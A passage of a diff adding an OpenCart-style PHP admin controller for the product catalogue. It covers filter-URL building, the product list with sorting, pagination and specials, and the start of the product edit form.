+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $filter_model = $this->request->get['filter_model'];
+ } else {
+ $filter_model = '';
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $filter_price = $this->request->get['filter_price'];
+ } else {
+ $filter_price = '';
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $filter_price_min = $this->request->get['filter_price_min'];
+ } else {
+ $filter_price_min = null;
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $filter_price_max = $this->request->get['filter_price_max'];
+ } else {
+ $filter_price_max = null;
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $filter_quantity = $this->request->get['filter_quantity'];
+ } else {
+ $filter_quantity = '';
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $filter_quantity_min = $this->request->get['filter_quantity_min'];
+ } else {
+ $filter_quantity_min = null;
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $filter_quantity_max = $this->request->get['filter_quantity_max'];
+ } else {
+ $filter_quantity_max = null;
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ $filter_sub_category = null;
+ if (isset($this->request->get['filter_category'])) {
+ $filter_category = $this->request->get['filter_category'];
+ if (!empty($filter_category) && isset($this->request->get['filter_sub_category'])) {
+ $filter_sub_category = true;
+ } elseif (isset($this->request->get['filter_sub_category'])) {
+ unset($this->request->get['filter_sub_category']);
+ }
+ } else {
+ $filter_category = null;
+ if (isset($this->request->get['filter_sub_category'])) {
+ unset($this->request->get['filter_sub_category']);
+ }
+ }
+
+ $filter_category_name = null;
+ if (isset($filter_category)) {
+ if ($filter_category>0) {
+ $this->load->model('catalog/category');
+
+
+
+ $category = $this->model_catalog_category->getCategory($filter_category);
+ if ($category) {
+ $filter_category_name = ($category['path']) ? $category['path'] . ' > ' . $category['name'] : $category['name'];
+ } else {
+ $filter_category = null;
+ unset($this->request->get['filter_category']);
+ $filter_sub_category = null;
+ if (isset($this->request->get['filter_sub_category'])) {
+ unset($this->request->get['filter_sub_category']);
+ }
+ }
+ } else {
+ $filter_category_name = $this->language->get('text_none_category');
+ }
+ }
+
+ $filter_manufacturer_id = null;
+ $filter_manufacturer_name = '';
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $filter_manufacturer_id = (int)$this->request->get['filter_manufacturer_id'];
+ if($filter_manufacturer_id > 0) {
+ $this->load->model('catalog/manufacturer');
+ $manufacturer = $this->model_catalog_manufacturer->getManufacturer($filter_manufacturer_id);
+ if ($manufacturer) {
+ $filter_manufacturer_name = $manufacturer['name'];
+ } else {
+ $filter_manufacturer_name = null;
+ unset($this->request->get['filter_manufacturer_id']);
+ }
+ } else {
+ $filter_manufacturer_id = 0;
+ $filter_manufacturer_name = $this->language->get('text_none_manufacturer');
+ }
+ }
+
+ /*
+ $filter_manufacturer_name = null;
+ if (isset($filter_manufacturer)) {
+ if ($filter_manufacturer>0) {
+ $this->load->model('catalog/manufacturer');
+ $manufacturer = $this->model_catalog_manufacturer->getManufacturer($filter_manufacturer);
+ if ($manufacturer) {
+ $filter_manufacturer_name = $manufacturer['name'];
+ } else {
+ $filter_manufacturer = null;
+ unset($this->request->get['filter_manufacturer']);
+ }
+ } elseif ($filter_manufacturer==0) {
+ $filter_manufacturer_name = $this->language->get('text_none_manufacturer');
+ }
+ }
+ */
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $filter_noindex = $this->request->get['filter_noindex'];
+ } else {
+ $filter_noindex = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'pd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/product/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['copy'] = $this->url->link('catalog/product/copy', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/product/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/product/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/product/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['products'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_model' => $filter_model,
+ 'filter_price' => $filter_price,
+ 'filter_price_min'=> $filter_price_min,
+ 'filter_price_max'=> $filter_price_max,
+ 'filter_quantity' => $filter_quantity,
+ 'filter_quantity_min' => $filter_quantity_min,
+ 'filter_quantity_max' => $filter_quantity_max,
+ 'filter_status' => $filter_status,
+ 'filter_category' => $filter_category,
+ 'filter_sub_category' => $filter_sub_category,
+ 'filter_manufacturer_id'=> $filter_manufacturer_id,
+ 'filter_noindex' => $filter_noindex,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+
+ $this->load->model('tool/image');
+
+ $product_total = $this->model_catalog_product->getTotalProducts($filter_data);
+
+ $results = $this->model_catalog_product->getProducts($filter_data);
+
+ foreach ($results as $result) {
+ if (is_file(DIR_IMAGE . $result['image'])) {
+ $image = $this->model_tool_image->resize($result['image'], 40, 40);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 40, 40);
+ }
+
+ $special = false;
+
+ $product_specials = $this->model_catalog_product->getProductSpecials($result['product_id']);
+
+ foreach ($product_specials as $product_special) {
+ if (($product_special['date_start'] == '0000-00-00' || strtotime($product_special['date_start']) < time()) && ($product_special['date_end'] == '0000-00-00' || strtotime($product_special['date_end']) > time())) {
+ $special = $this->currency->format($product_special['price'], $this->config->get('config_currency'));
+
+ break;
+ }
+ }
+
+ $data['products'][] = array(
+ 'product_id' => $result['product_id'],
+ 'image' => $image,
+ 'name' => $result['name'],
+ 'model' => $result['model'],
+ 'price' => $this->currency->format($result['price'], $this->config->get('config_currency')),
+ 'special' => $special,
+ 'quantity' => $result['quantity'],
+ 'status' => $result['status'] ? $this->language->get('text_enabled_short') : $this->language->get('text_disabled_short'),
+ 'noindex' => $result['noindex'] ? $this->language->get('text_enabled_short') : $this->language->get('text_disabled_short'),
+ 'href_shop' => HTTP_CATALOG . 'index.php?route=product/product&product_id=' . $result['product_id'],
+ 'edit' => $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $result['product_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_model'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.model' . $url, true);
+ $data['sort_price'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.price' . $url, true);
+ $data['sort_quantity'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.quantity' . $url, true);
+ $data['sort_status'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.status' . $url, true);
+ $data['sort_noindex'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.noindex' . $url, true);
+ $data['sort_order'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . '&sort=p.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, ceil($product_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_model'] = $filter_model;
+ $data['filter_price'] = $filter_price;
+ $data['filter_price_min'] = $filter_price_min;
+ $data['filter_price_max'] = $filter_price_max;
+ $data['filter_quantity'] = $filter_quantity;
+ $data['filter_quantity_min'] = $filter_quantity_min;
+ $data['filter_quantity_max'] = $filter_quantity_max;
+ $data['filter_status'] = $filter_status;
+ $data['filter_category_name'] = $filter_category_name;
+ $data['filter_category'] = $filter_category;
+ $data['filter_sub_category'] = $filter_sub_category;
+ $data['filter_manufacturer_name'] = $filter_manufacturer_name;
+ $data['filter_manufacturer_id'] = $filter_manufacturer_id;
+ $data['filter_noindex'] = $filter_noindex;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/product_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['product_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = array();
+ }
+
+ if (isset($this->error['meta_h1'])) {
+ $data['error_meta_h1'] = $this->error['meta_h1'];
+ } else {
+ $data['error_meta_h1'] = array();
+ }
+
+ if (isset($this->error['model'])) {
+ $data['error_model'] = $this->error['model'];
+ } else {
+ $data['error_model'] = '';
+ }
+
+ if (isset($this->error['keyword'])) {
+ $data['error_keyword'] = $this->error['keyword'];
+ } else {
+ $data['error_keyword'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_model'])) {
+ $url .= '&filter_model=' . urlencode(html_entity_decode($this->request->get['filter_model'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_price'])) {
+ $url .= '&filter_price=' . $this->request->get['filter_price'];
+ }
+
+ if (isset($this->request->get['filter_price_min'])) {
+ $url .= '&filter_price_min=' . $this->request->get['filter_price_min'];
+ }
+
+ if (isset($this->request->get['filter_price_max'])) {
+ $url .= '&filter_price_max=' . $this->request->get['filter_price_max'];
+ }
+
+ if (isset($this->request->get['filter_quantity'])) {
+ $url .= '&filter_quantity=' . $this->request->get['filter_quantity'];
+ }
+
+ if (isset($this->request->get['filter_quantity_min'])) {
+ $url .= '&filter_quantity_min=' . $this->request->get['filter_quantity_min'];
+ }
+
+ if (isset($this->request->get['filter_quantity_max'])) {
+ $url .= '&filter_quantity_max=' . $this->request->get['filter_quantity_max'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_category'])) {
+ $url .= '&filter_category=' . $this->request->get['filter_category'];
+ if (isset($this->request->get['filter_sub_category'])) {
+ $url .= '&filter_sub_category';
+ }
+ }
+
+ if (isset($this->request->get['filter_manufacturer_id'])) {
+ $url .= '&filter_manufacturer_id=' . $this->request->get['filter_manufacturer_id'];
+ }
+
+ if (isset($this->request->get['filter_noindex'])) {
+ $url .= '&filter_noindex=' . $this->request->get['filter_noindex'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['product_id'])) {
+ $data['action'] = $this->url->link('catalog/product/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $this->request->get['product_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['product_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $product_info = $this->model_catalog_product->getProduct($this->request->get['product_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['product_description'])) {
+ $data['product_description'] = $this->request->post['product_description'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_description'] = $this->model_catalog_product->getProductDescriptions($this->request->get['product_id']);
+ } else {
+ $data['product_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['product_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['product_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['model'])) {
+ $data['model'] = $this->request->post['model'];
+ } elseif (!empty($product_info)) {
+ $data['model'] = $product_info['model'];
+ } else {
+ $data['model'] = '';
+ }
+
+ if (isset($this->request->post['sku'])) {
+ $data['sku'] = $this->request->post['sku'];
+ } elseif (!empty($product_info)) {
+ $data['sku'] = $product_info['sku'];
+ } else {
+ $data['sku'] = '';
+ }
+
+ if (isset($this->request->post['upc'])) {
+ $data['upc'] = $this->request->post['upc'];
+ } elseif (!empty($product_info)) {
+ $data['upc'] = $product_info['upc'];
+ } else {
+ $data['upc'] = '';
+ }
+
+ if (isset($this->request->post['ean'])) {
+ $data['ean'] = $this->request->post['ean'];
+ } elseif (!empty($product_info)) {
+ $data['ean'] = $product_info['ean'];
+ } else {
+ $data['ean'] = '';
+ }
+
+ if (isset($this->request->post['jan'])) {
+ $data['jan'] = $this->request->post['jan'];
+ } elseif (!empty($product_info)) {
+ $data['jan'] = $product_info['jan'];
+ } else {
+ $data['jan'] = '';
+ }
+
+ if (isset($this->request->post['isbn'])) {
+ $data['isbn'] = $this->request->post['isbn'];
+ } elseif (!empty($product_info)) {
+ $data['isbn'] = $product_info['isbn'];
+ } else {
+ $data['isbn'] = '';
+ }
+
+ if (isset($this->request->post['mpn'])) {
+ $data['mpn'] = $this->request->post['mpn'];
+ } elseif (!empty($product_info)) {
+ $data['mpn'] = $product_info['mpn'];
+ } else {
+ $data['mpn'] = '';
+ }
+
+ if (isset($this->request->post['location'])) {
+ $data['location'] = $this->request->post['location'];
+ } elseif (!empty($product_info)) {
+ $data['location'] = $product_info['location'];
+ } else {
+ $data['location'] = '';
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['product_store'])) {
+ $data['product_store'] = $this->request->post['product_store'];
+ } elseif (isset($this->request->get['product_id'])) {
+ $data['product_store'] = $this->model_catalog_product->getProductStores($this->request->get['product_id']);
+ } else {
+ $data['product_store'] = array(0);
+ }
+
+ if (isset($this->request->post['shipping'])) {
+ $data['shipping'] = $this->request->post['shipping'];
+ } elseif (!empty($product_info)) {
+ $data['shipping'] = $product_info['shipping'];
+ } else {
+ $data['shipping'] = 1;
+ }
+
+if (isset($this->request->post['price_2'])) {
+ $data['price_2'] = $this->request->post['price_2'];
+ } elseif (!empty($product_info)) {
+ $data['price_2'] = $product_info['price_2'];
+ } else {
+ $data['price_2'] = '';
+ }
+
+if (isset($this->request->post['price_3'])) {
+ $data['price_3'] = $this->request->post['price_3'];
+ } elseif (!empty($product_info)) {
+ $data['price_3'] = $product_info['price_3'];
+ } else {
+ $data['price_3'] = '';
+ }
+ if (isset($this->request->post['price'])) {
+ $data['price'] = $this->request->post['price'];
+ } elseif (!empty($product_info)) {
+ $data['price'] = $product_info['price'];
+ } else {
+ $data['price'] = '';
+ }
+
+ $this->load->model('catalog/recurring');
+
+ $data['recurrings'] = $this->model_catalog_recurring->getRecurrings();
+
+ if (isset($this->request->post['product_recurrings'])) {
+ $data['product_recurrings'] = $this->request->post['product_recurrings'];
+ } elseif (!empty($product_info)) {
+ $data['product_recurrings'] = $this->model_catalog_product->getRecurrings($product_info['product_id']);
+ } else {
+ $data['product_recurrings'] = array();
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['tax_class_id'])) {
+ $data['tax_class_id'] = $this->request->post['tax_class_id'];
+ } elseif (!empty($product_info)) {
+ $data['tax_class_id'] = $product_info['tax_class_id'];
+ } else {
+ $data['tax_class_id'] = 0;
+ }
+
+ if (isset($this->request->post['date_available'])) {
+ $data['date_available'] = $this->request->post['date_available'];
+ } elseif (!empty($product_info)) {
+ $data['date_available'] = ($product_info['date_available'] != '0000-00-00') ? $product_info['date_available'] : '';
+ } else {
+ $data['date_available'] = date('Y-m-d');
+ }
+
+ if (isset($this->request->post['quantity'])) {
+ $data['quantity'] = $this->request->post['quantity'];
+ } elseif (!empty($product_info)) {
+ $data['quantity'] = $product_info['quantity'];
+ } else {
+ $data['quantity'] = 1;
+ }
+
+ if (isset($this->request->post['minimum'])) {
+ $data['minimum'] = $this->request->post['minimum'];
+ } elseif (!empty($product_info)) {
+ $data['minimum'] = $product_info['minimum'];
+ } else {
+ $data['minimum'] = 1;
+ }
+
+ if (isset($this->request->post['subtract'])) {
+ $data['subtract'] = $this->request->post['subtract'];
+ } elseif (!empty($product_info)) {
+ $data['subtract'] = $product_info['subtract'];
+ } else {
+ $data['subtract'] = 1;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($product_info)) {
+ $data['sort_order'] = $product_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ $this->load->model('localisation/stock_status');
+
+ $data['stock_statuses'] = $this->model_localisation_stock_status->getStockStatuses();
+
+ if (isset($this->request->post['stock_status_id'])) {
+ $data['stock_status_id'] = $this->request->post['stock_status_id'];
+ } elseif (!empty($product_info)) {
+ $data['stock_status_id'] = $product_info['stock_status_id'];
+ } else {
+ $data['stock_status_id'] = 0;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($product_info)) {
+ $data['status'] = $product_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($product_info)) {
+ $data['noindex'] = $product_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ if (isset($this->request->post['weight'])) {
+ $data['weight'] = $this->request->post['weight'];
+ } elseif (!empty($product_info)) {
+ $data['weight'] = $product_info['weight'];
+ } else {
+ $data['weight'] = '';
+ }
+
+ $this->load->model('localisation/weight_class');
+
+ $data['weight_classes'] = $this->model_localisation_weight_class->getWeightClasses();
+
+ if (isset($this->request->post['weight_class_id'])) {
+ $data['weight_class_id'] = $this->request->post['weight_class_id'];
+ } elseif (!empty($product_info)) {
+ $data['weight_class_id'] = $product_info['weight_class_id'];
+ } else {
+ $data['weight_class_id'] = $this->config->get('config_weight_class_id');
+ }
+
+ if (isset($this->request->post['length'])) {
+ $data['length'] = $this->request->post['length'];
+ } elseif (!empty($product_info)) {
+ $data['length'] = $product_info['length'];
+ } else {
+ $data['length'] = '';
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($product_info)) {
+ $data['width'] = $product_info['width'];
+ } else {
+ $data['width'] = '';
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($product_info)) {
+ $data['height'] = $product_info['height'];
+ } else {
+ $data['height'] = '';
+ }
+
+ $this->load->model('localisation/length_class');
+
+ $data['length_classes'] = $this->model_localisation_length_class->getLengthClasses();
+
+ if (isset($this->request->post['length_class_id'])) {
+ $data['length_class_id'] = $this->request->post['length_class_id'];
+ } elseif (!empty($product_info)) {
+ $data['length_class_id'] = $product_info['length_class_id'];
+ } else {
+ $data['length_class_id'] = $this->config->get('config_length_class_id');
+ }
+
+ $this->load->model('catalog/manufacturer');
+
+ if (isset($this->request->post['manufacturer_id'])) {
+ $data['manufacturer_id'] = $this->request->post['manufacturer_id'];
+ } elseif (!empty($product_info)) {
+ $data['manufacturer_id'] = $product_info['manufacturer_id'];
+ } else {
+ $data['manufacturer_id'] = 0;
+ }
+
+ if (isset($this->request->post['manufacturer'])) {
+ $data['manufacturer'] = $this->request->post['manufacturer'];
